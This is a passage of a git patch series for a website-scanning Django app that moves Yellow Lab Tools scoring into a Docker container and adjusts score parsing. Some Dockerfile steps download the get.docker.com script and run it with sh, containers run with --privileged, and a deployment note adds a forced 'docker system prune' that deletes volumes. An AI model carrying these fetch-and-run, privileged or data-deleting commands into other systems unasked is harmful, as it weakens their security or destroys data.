             post_serverConfig = int(self.test.post_scan.yellowlab["scores"]['serverConfig'])
 
             pageWeight_delta = post_pageWeight - pre_pageWeight
-            requests_delta = post_requests - pre_requests
+            images_delta = post_images - pre_images
             domComplexity_delta = post_domComplexity - pre_domComplexity
             javascriptComplexity_delta = post_javascriptComplexity - pre_javascriptComplexity
             badJavascript_delta = post_badJavascript - pre_badJavascript
@@ -376,7 +376,7 @@ def delta_yellowlab(self):
 
         except:
             pageWeight_delta = None
-            requests_delta = None
+            images_delta = None
             domComplexity_delta = None
             javascriptComplexity_delta = None
             badJavascript_delta = None
@@ -391,7 +391,7 @@ def delta_yellowlab(self):
         data = {
             "scores": {
                 "pageWeight_delta": pageWeight_delta, 
-                "requests_delta": requests_delta, 
+                "images_delta": images_delta, 
                 "domComplexity_delta": domComplexity_delta, 
                 "javascriptComplexity_delta": javascriptComplexity_delta,
                 "badJavascript_delta": badJavascript_delta,
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 6775a79c..d179af60 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -125,7 +125,7 @@ def process_data(self, stdout_json: dict) -> dict:
         # initial audits object
         audits = {
             "pageWeight": [], 
-            "requests": [], 
+            "images": [], 
             "domComplexity": [], 
             "javascriptComplexity": [],
             "badJavascript": [],
@@ -133,58 +133,46 @@ def process_data(self, stdout_json: dict) -> dict:
             "cssComplexity": [],
             "badCSS": [],
             "fonts": [],
-            "serverConfig": stdout_json,
+            "serverConfig": [],
         }
 
         # iterating through categories to get relevant yl_audits and store them in their respective `audits = {}` obj
-        # for cat in audits:
-        #     cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"]
-        #     for a in cat_audits:
-        #         try:
-        #             audit = stdout_json["rules"][a]
-        #             audits[cat].append(audit)
-        #         except:
-        #             pass
-
-        # # get scores from each category
-        # globalScore = stdout_json["scoreProfiles"]["generic"]["globalScore"]
-        # pageWeight_score = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"]
+        for cat in audits:
+            cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"]
+            for a in cat_audits:
+                try:
+                    audit = stdout_json["rules"][a]
+                    audits[cat].append(audit)
+                except:
+                    pass
+
+        # get scores from each category
+        globalScore = stdout_json["scoreProfiles"]["generic"]["globalScore"]
+        pageWeight_score = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"]
         # requests_score = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"]
-        # domComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"]
-        # javascriptComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"]
-        # badJavascript_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"]
-        # jQuery_score = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"]
-        # cssComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"]
-        # badCSS_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"]
-        # fonts_score = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"]
-        # serverConfig_score = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"]
-        
-        # scores = {
-        #     "globalScore": globalScore,
-        #     "pageWeight": pageWeight_score, 
-        #     "requests": requests_score, 
-        #     "domComplexity": domComplexity_score, 
-        #     "javascriptComplexity": javascriptComplexity_score,
-        #     "badJavascript": badJavascript_score,
-        #     "jQuery": jQuery_score,
-        #     "cssComplexity": cssComplexity_score,
-        #     "badCSS": badCSS_score,
-        #     "fonts": fonts_score,
-        #     "serverConfig": serverConfig_score,
-        # }
+        images_score = stdout_json["scoreProfiles"]["generic"]["categories"]["images"]["categoryScore"]
+        domComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"]
+        javascriptComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"]
+        badJavascript_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"]
+        jQuery_score = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"]
+        cssComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"]
+        badCSS_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"]
+        fonts_score = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"]
+        serverConfig_score = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"]
 
         scores = {
-            "globalScore": 0,
-            "pageWeight": 0, 
-            "requests": 0, 
-            "domComplexity": 0, 
-            "javascriptComplexity": 0,
-            "badJavascript": 0,
-            "jQuery": 0,
-            "cssComplexity": 0,
-            "badCSS": 0,
-            "fonts": 0,
-            "serverConfig": 0,
+            "globalScore": globalScore,
+            "pageWeight": pageWeight_score, 
+            # "requests": requests_score,
+            "images": images_score,  
+            "domComplexity": domComplexity_score, 
+            "javascriptComplexity": javascriptComplexity_score,
+            "badJavascript": badJavascript_score,
+            "jQuery": jQuery_score,
+            "cssComplexity": cssComplexity_score,
+            "badCSS": badCSS_score,
+            "fonts": fonts_score,
+            "serverConfig": serverConfig_score,
         }
 
         # save audits data as json file
diff --git a/functions/scanerr-yl/.gitignore b/functions/scanerr-yl/.gitignore
deleted file mode 100644
index 882a1fbe..00000000
--- a/functions/scanerr-yl/.gitignore
+++ /dev/null
@@ -1,7 +0,0 @@
-.nimbella
-.deployed
-__deployer__.zip
-__pycache__/
-node_modules
-package-lock.json
-.DS_Store
diff --git a/functions/scanerr-yl/packages/scanerr/yellowlab/package.json b/functions/scanerr-yl/packages/scanerr/yellowlab/package.json
deleted file mode 100644
index 726b44e8..00000000
--- a/functions/scanerr-yl/packages/scanerr/yellowlab/package.json
+++ /dev/null
@@ -1,10 +0,0 @@
-{
-    "name": "yellowlab",
-    "version": "1.0.0",
-    "description": "scanerr yellowlab scalable function",
-    "main": "yellowlab.js",
-    "dependencies": {
-      "yellowlabtools": "2.2.0"
-    },
-    "devDependencies": {}
-  }
\ No newline at end of file
diff --git a/functions/scanerr-yl/packages/scanerr/yellowlab/yellowlab.js b/functions/scanerr-yl/packages/scanerr/yellowlab/yellowlab.js
deleted file mode 100644
index 6b2cd258..00000000
--- a/functions/scanerr-yl/packages/scanerr/yellowlab/yellowlab.js
+++ /dev/null
@@ -1,16 +0,0 @@
-import yellowLabTools from "yellowlabtools"
-
-function main(args){
-    var yltOptions = {
-        device: args.device,
-    };
-    yellowLabTools(args.url, yltOptions)
-        .then(function(data) {
-            return data
-        })
-        .fail(function(err) {
-            return err
-        });
-}
-
-export default main
diff --git a/functions/scanerr-yl/project.yml b/functions/scanerr-yl/project.yml
deleted file mode 100644
index 8596ad68..00000000
--- a/functions/scanerr-yl/project.yml
+++ /dev/null
@@ -1,19 +0,0 @@
-parameters: {}
-environment: {}
-packages:
-    - name: scanerr
-      shared: false
-      environment: {}
-      parameters: {}
-      annotations: {}
-      functions:
-        - name: yellowlab
-          binary: false
-          main: ""
-          runtime: nodejs:default
-          web: true
-          webSecure: false
-          parameters: {}
-          environment: {}
-          annotations: {}
-          limits: {}
diff --git a/functions/dockerfiles/Dockerfile b/functions/yellowlab/Dockerfile
similarity index 100%
rename from functions/dockerfiles/Dockerfile
rename to functions/yellowlab/Dockerfile

From 55649657a22ccffbe33bc10e7aa605f8140dbe61 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 09:29:31 -0600
Subject: [PATCH 0325/1099] removed image build from container

---
 Dockerfile             |  7 +------
 docker-compose.dev.yml | 10 +++++++++-
 2 files changed, 10 insertions(+), 7 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index a795c01a..4b0c7dd4 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -71,9 +71,4 @@ RUN rm -rf ~/.config/chromium
 
 # install docker
 RUN curl -fsSL https://get.docker.com -o get-docker.sh && \ 
-    sh get-docker.sh
-
-RUN sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker; \
-    service docker start && \
-    sleep 10 && \
-    docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt
\ No newline at end of file
+    sh get-docker.sh
\ No newline at end of file
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 7142d662..c56f4809 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -20,6 +20,10 @@ services:
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
              python3 manage.py driver_p_test && 
+             sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
+             service docker start && 
+             sleep 10 &&
+             docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
@@ -54,7 +58,11 @@ services:
       context: .
       dockerfile: Dockerfile
     command: >
-      sh -c "celery -A scanerr worker --beat --scheduler django --loglevel=info"
+      sh -c "sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
+             service docker start && 
+             sleep 10 &&
+             docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt &&
+             celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr
     env_file:

From 0dedca47428c618b6118b66c338ecc0417ad1b24 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 09:36:03 -0600
Subject: [PATCH 0326/1099] fixed import issue

---
 app/api/utils/tester.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 9be8bff2..d4aa278a 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -3,7 +3,7 @@
 from .image import Image
 from scanerr import settings
 from difflib import SequenceMatcher, HtmlDiff, Differ
-import time, os, sys, json, random, string, re, images, uuid, boto3
+import time, os, sys, json, random, string, re, requests, uuid, boto3
 
 
 
@@ -29,8 +29,8 @@ def __init__(self, test):
 
 
     def clean_html(self):
-        pre_scan_html_raw = images.get(self.test.pre_scan.html).text
-        post_scan_html_raw = images.get(self.test.post_scan.html).text
+        pre_scan_html_raw = requests.get(self.test.pre_scan.html).text
+        post_scan_html_raw = requests.get(self.test.post_scan.html).text
         pre_scan_html = pre_scan_html_raw.splitlines()
         post_scan_html = post_scan_html_raw.splitlines()
 

From 7db36a42b378663196b9097ce9b4a36403dcf03a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 10:10:43 -0600
Subject: [PATCH 0327/1099] removed yellowlab container

---
 docker-compose.dev.yml | 28 ++++++++++++++--------------
 1 file changed, 14 insertions(+), 14 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index c56f4809..2eb4b1f3 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -23,7 +23,7 @@ services:
              sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start && 
              sleep 10 &&
-             docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt &&
+             docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools  &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
@@ -61,7 +61,7 @@ services:
       sh -c "sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start && 
              sleep 10 &&
-             docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt &&
+             docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools &&
              celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr
@@ -74,18 +74,18 @@ services:
     
 
     
-  yellowlab:
-    container_name: yellowlab
-    privileged: true
-    restart: always
-    image: scanerr/ylt
-    ports:
-      - 8383:8383
-    depends_on:
-      - redis
-      - celery 
-      - app
-      - db
+  # yellowlab:
+  #   container_name: yellowlab
+  #   privileged: true
+  #   restart: always
+  #   image: scanerr/ylt
+  #   ports:
+  #     - 8383:8383
+  #   depends_on:
+  #     - redis
+  #     - celery 
+  #     - app
+  #     - db
     
       
 

From df0dc2a0d6a4b5e625367519241a09cc893440de Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 10:10:53 -0600
Subject: [PATCH 0328/1099] added docker clean up scripts

---
 notes/Deployment.md | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/notes/Deployment.md b/notes/Deployment.md
index b543a5d9..41f6206c 100644
--- a/notes/Deployment.md
+++ b/notes/Deployment.md
@@ -7,6 +7,7 @@
   - [Scripts](#scripts)
     - [Install and run Docker in Containers](#install-and-run-docker-in-containers)
     - [Get \& Set Node Memory:](#get--set-node-memory)
+    - [Clean up Docker leftovers on Server](#clean-up-docker-leftovers-on-server)
 
 
 &nbsp;
@@ -164,3 +165,9 @@ export NODE_OPTIONS="--max-old-space-size=6144" # Increase to 6 GB
 export NODE_OPTIONS="--max-old-space-size=7168" # Increase to 7 GB
 export NODE_OPTIONS="--max-old-space-size=8192" # Increase to 8 GB
 ```
+
+
+### Clean up Docker leftovers on Server
+```shell
+docker system prune --all --force --volumes
+```
\ No newline at end of file

From e31ab371dc1f46563e65a596c248a6cb14251e8d Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 11:43:25 -0600
Subject: [PATCH 0329/1099] testing full integration

---
 app/api/utils/scanner.py   |  20 +++----
 app/api/utils/yellowlab.py | 113 ++++++++++++++++++-------------------
 docker-compose.dev.yml     |  20 +------
 3 files changed, 69 insertions(+), 84 deletions(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index b405b4cf..df40232b 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -578,16 +578,16 @@ def _yellowlab(scan_id, test_id, automation_id):
     """ 
     scan = Scan.objects.get(id=scan_id)
     
-    # try:
-    # running yellowlab
-    yl_data = Yellowlab(scan=scan, configs=scan.configs).get_data()
-    
-    # updating Scan object
-    scan = Scan.objects.get(id=scan_id)
-    scan.yellowlab = yl_data
-    scan.save()
-    # except Exception as e:
-    #     print(e)
+    try:
+        # running yellowlab
+        yl_data = Yellowlab(scan=scan, configs=scan.configs).get_data()
+        
+        # updating Scan object
+        scan = Scan.objects.get(id=scan_id)
+        scan.yellowlab = yl_data
+        scan.save()
+    except Exception as e:
+        print(e)
 
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index d179af60..42763b6c 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -33,7 +33,7 @@ def init_audit(self):
     def yellowlab_api(self) -> dict:
         """ 
         Serves as the backup method for collecting YL metrics.
-        Sends API requests to http://yellowlab.scanerr.io:8383
+        Sends API requests to http://yellowlab:8383
         or localhost:8383
 
         Returns --> raw YL data
@@ -207,70 +207,69 @@ def process_data(self, stdout_json: dict) -> dict:
     def get_data(self):
         
         # try CLI method first
-        try:
-            stdout_value = self.init_audit() 
-            # decode bytes into string
-            stdout_string = stdout_value.decode('iso-8859-1')
+        # try:
+        #     stdout_value = self.init_audit() 
+        #     # decode bytes into string
+        #     stdout_string = stdout_value.decode('iso-8859-1')
         
-            if len(stdout_string) != 0:
-                if 'Runtime error encountered' in stdout_string:
-                    error = {'error': 'yellowlab ran into a problem',}
-                    return error
-
-                # convert to dict
-                stdout_json = json.loads(stdout_value)
-                data = self.process_data(stdout_json=stdout_json)
-                return data
+        #     if len(stdout_string) != 0:
+        #         if 'Runtime error encountered' in stdout_string:
+        #             error = {'error': 'yellowlab ran into a problem',}
+        #             return error
+
+        #         # convert to dict
+        #         stdout_json = json.loads(stdout_value)
+        #         data = self.process_data(stdout_json=stdout_json)
+        #         return data
                 
-            else:
-                raise RuntimeError
+        #     else:
+        #         raise RuntimeError
         
         # try API method if CLI fails
-        except Exception as e:
-            print(e)
-            print(f'YELLOWLAB CLI FAILED, Trying API...')
+        # except Exception as e:
+            # print(e)
 
-            # try:
+        try:
             raw_data = self.yellowlab_api()
             data = self.process_data(stdout_json=raw_data)
             return data
 
-            # except Exception as e:
-            #     print(f'YELLOWLAB API FAILED --> {e}')
-
-            #     scores = {
-            #         "globalScore": None,
-            #         "pageWeight": None, 
-            #         "requests": None, 
-            #         "domComplexity": None, 
-            #         "javascriptComplexity": None,
-            #         "badJavascript": None,
-            #         "jQuery": None,
-            #         "cssComplexity": None,
-            #         "badCSS": None,
-            #         "fonts": None,
-            #         "serverConfig": None,
-            #     }
-
-            #     audits = {
-            #         "pageWeight": [], 
-            #         "requests": [], 
-            #         "domComplexity": [], 
-            #         "javascriptComplexity": [],
-            #         "badJavascript": [],
-            #         "jQuery": [],
-            #         "cssComplexity": [],
-            #         "badCSS": [],
-            #         "fonts": [],
-            #         "serverConfig": [],
-            #     }
-
-            #     data = {
-            #         "scores": scores, 
-            #         "audits": audits,
-            #         "failed": True
-            #     }
-            
-            #     return data
+        except Exception as e:
+            print(f'YELLOWLAB API FAILED --> {e}')
+
+            scores = {
+                "globalScore": None,
+                "pageWeight": None, 
+                "requests": None, 
+                "domComplexity": None, 
+                "javascriptComplexity": None,
+                "badJavascript": None,
+                "jQuery": None,
+                "cssComplexity": None,
+                "badCSS": None,
+                "fonts": None,
+                "serverConfig": None,
+            }
+
+            audits = {
+                "pageWeight": [], 
+                "requests": [], 
+                "domComplexity": [], 
+                "javascriptComplexity": [],
+                "badJavascript": [],
+                "jQuery": [],
+                "cssComplexity": [],
+                "badCSS": [],
+                "fonts": [],
+                "serverConfig": [],
+            }
+
+            data = {
+                "scores": scores, 
+                "audits": audits,
+                "failed": True
+            }
+        
+            return data
         
 
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 2eb4b1f3..f4f5d8e4 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -23,7 +23,7 @@ services:
              sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start && 
              sleep 10 &&
-             docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools  &&
+             docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
@@ -31,7 +31,6 @@ services:
       - ./env/.env.dev
     
 
-
   db:
     image: postgres:10-alpine
     ports:
@@ -72,21 +71,6 @@ services:
       - app
       - db
     
-
-    
-  # yellowlab:
-  #   container_name: yellowlab
-  #   privileged: true
-  #   restart: always
-  #   image: scanerr/ylt
-  #   ports:
-  #     - 8383:8383
-  #   depends_on:
-  #     - redis
-  #     - celery 
-  #     - app
-  #     - db
-    
       
 
   nginx-proxy:
@@ -106,6 +90,7 @@ services:
       - app
   
   
+
   nginx-proxy-letsencrypt:
     image: nginxproxy/acme-companion  # LEGACY -> jrcs/letsencrypt-nginx-proxy-companion 
     env_file:
@@ -120,6 +105,7 @@ services:
       - nginx-proxy
 
 
+
 volumes:
   static_volume:
   letsencrypt-acme:

From 72e907550e9e8dc161d88ca34e86e45064725b24 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 11:48:52 -0600
Subject: [PATCH 0330/1099] archived old version

---
 Dockerfile.old | 74 ++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 74 insertions(+)
 create mode 100644 Dockerfile.old

diff --git a/Dockerfile.old b/Dockerfile.old
new file mode 100644
index 00000000..4b0c7dd4
--- /dev/null
+++ b/Dockerfile.old
@@ -0,0 +1,74 @@
+FROM python:3.9-slim
+ENV PYTHONUNBUFFERED 1
+
+# setting working dir
+RUN mkdir /app
+COPY ./app /app
+WORKDIR /app
+
+# increasing allocated memory to node
+ENV NODE_OPTIONS=--max_old_space_size=2000
+ENV NODE_OPTIONS="--max-old-space-size=2000"
+ENV GENERATE_SOURCEMAP=false
+
+# telling Puppeteer to skip installing Chrome
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
+
+# telling phantomas where Chromium binary is and that we're in docker
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
+ENV DOCKERIZED yes
+
+# create the app user
+RUN addgroup --system app && adduser --system app 
+
+# installing python3 & pip
+RUN apt-get update && apt-get install -y python3 python3-pip
+
+# installing system deps
+RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
+    gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ 
+    libfontconfig 
+
+# installing yellowlab-specific system deps
+RUN apt-get update && apt-get install -y libfreetype6 git  \ 
+    libatk-bridge2.0-0 gconf-service libasound2 make \ 
+    libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 \ 
+    libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 \ 
+    libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 \ 
+    libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 \ 
+    libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 \ 
+    libnss3 lsb-release libgbm1 xdg-utils wget nasm automake autoconf libtool \
+    -y --force-yes > /dev/null 2>&1
+
+# installing node and npm --> n lts
+RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
+    && npm install -g n \
+    && n lts
+
+# cleaning npm
+RUN npm cache clean --force
+
+# installing more yellowlab stuff
+RUN npm install jpegoptim-bin --unsafe-perm=true --allow-root
+
+# installing lighthouse & yellowlabtools
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
+
+# setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
+RUN chromium --no-sandbox --version
+RUN chromium --disable-dev-shm-usage  --version
+
+# installing requirements
+COPY ./requirements.txt /requirements.txt
+RUN python3 -m pip install -r /requirements.txt
+
+# setting ownership
+RUN chown -R app:app /app
+RUN chown -R app:app /usr/bin/chromium
+
+# removing chromium config
+RUN rm -rf ~/.config/chromium
+
+# install docker
+RUN curl -fsSL https://get.docker.com -o get-docker.sh && \ 
+    sh get-docker.sh
\ No newline at end of file

From bb5ef89a453d35d632fbce53390479993a5b9283 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 11:49:02 -0600
Subject: [PATCH 0331/1099] consolidated new dockerfile

---
 Dockerfile | 31 ++++---------------------------
 1 file changed, 4 insertions(+), 27 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 4b0c7dd4..0b057e02 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,4 +1,4 @@
-FROM python:3.9-slim
+FROM python:3.12-slim
 ENV PYTHONUNBUFFERED 1
 
 # setting working dir
@@ -6,18 +6,6 @@ RUN mkdir /app
 COPY ./app /app
 WORKDIR /app
 
-# increasing allocated memory to node
-ENV NODE_OPTIONS=--max_old_space_size=2000
-ENV NODE_OPTIONS="--max-old-space-size=2000"
-ENV GENERATE_SOURCEMAP=false
-
-# telling Puppeteer to skip installing Chrome
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
-
-# telling phantomas where Chromium binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
-ENV DOCKERIZED yes
-
 # create the app user
 RUN addgroup --system app && adduser --system app 
 
@@ -29,17 +17,6 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ 
     libfontconfig 
 
-# installing yellowlab-specific system deps
-RUN apt-get update && apt-get install -y libfreetype6 git  \ 
-    libatk-bridge2.0-0 gconf-service libasound2 make \ 
-    libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 \ 
-    libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 \ 
-    libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 \ 
-    libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 \ 
-    libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 \ 
-    libnss3 lsb-release libgbm1 xdg-utils wget nasm automake autoconf libtool \
-    -y --force-yes > /dev/null 2>&1
-
 # installing node and npm --> n lts
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
     && npm install -g n \
@@ -51,10 +28,10 @@ RUN npm cache clean --force
 # installing more yellowlab stuff
 RUN npm install jpegoptim-bin --unsafe-perm=true --allow-root
 
-# installing lighthouse & yellowlabtools
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
+# installing lighthouse
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash
 
-# setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
+# setting --no-sandbox & --disable-dev-shm-usage
 RUN chromium --no-sandbox --version
 RUN chromium --disable-dev-shm-usage  --version
 

From 898d4a372dca4507e6aa0688167c19fc8ae451ff Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 11:56:04 -0600
Subject: [PATCH 0332/1099] testing docker pull inside image

---
 Dockerfile | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 0b057e02..355e1b0f 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,4 +1,4 @@
-FROM python:3.12-slim
+FROM python:3.9-slim
 ENV PYTHONUNBUFFERED 1
 
 # setting working dir
@@ -48,4 +48,8 @@ RUN rm -rf ~/.config/chromium
 
 # install docker
 RUN curl -fsSL https://get.docker.com -o get-docker.sh && \ 
-    sh get-docker.sh
\ No newline at end of file
+    sh get-docker.sh && \
+    sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker; \
+    service docker start && \
+    sleep 10 && \
+    docker pull ousamabenyounes/yellowlabtools
\ No newline at end of file

From bf76cbb00fa497b5a118fe4f715d09ebf6f118ea Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 12:19:53 -0600
Subject: [PATCH 0333/1099] testing

---
 Dockerfile | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 355e1b0f..7f4ea6fa 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -25,9 +25,6 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 # cleaning npm
 RUN npm cache clean --force
 
-# installing more yellowlab stuff
-RUN npm install jpegoptim-bin --unsafe-perm=true --allow-root
-
 # installing lighthouse
 RUN npm install -g lighthouse lighthouse-plugin-crux lodash
 
@@ -51,5 +48,5 @@ RUN curl -fsSL https://get.docker.com -o get-docker.sh && \
     sh get-docker.sh && \
     sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker; \
     service docker start && \
-    sleep 10 && \
+    sleep 20 && \
     docker pull ousamabenyounes/yellowlabtools
\ No newline at end of file

From 433ee44fb67aaea7e76e94878b95af52e66e4f5d Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 12:24:11 -0600
Subject: [PATCH 0334/1099] removed internal image pull

---
 Dockerfile | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 7f4ea6fa..ae3d0d0e 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -45,8 +45,4 @@ RUN rm -rf ~/.config/chromium
 
 # install docker
 RUN curl -fsSL https://get.docker.com -o get-docker.sh && \ 
-    sh get-docker.sh && \
-    sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker; \
-    service docker start && \
-    sleep 20 && \
-    docker pull ousamabenyounes/yellowlabtools
\ No newline at end of file
+    sh get-docker.sh
\ No newline at end of file

From 57e4e4da3792d145b59986681089906e507f87eb Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 12:26:20 -0600
Subject: [PATCH 0335/1099] testing new pull method

---
 Dockerfile | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index ae3d0d0e..6db58615 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -45,4 +45,7 @@ RUN rm -rf ~/.config/chromium
 
 # install docker
 RUN curl -fsSL https://get.docker.com -o get-docker.sh && \ 
-    sh get-docker.sh
\ No newline at end of file
+    sh get-docker.sh
+
+# pull yellowlab image
+FROM ousamabenyounes/yellowlabtools
\ No newline at end of file

From db2aa3a5254a982d838ada38359fbd4361a3ec94 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 12:29:30 -0600
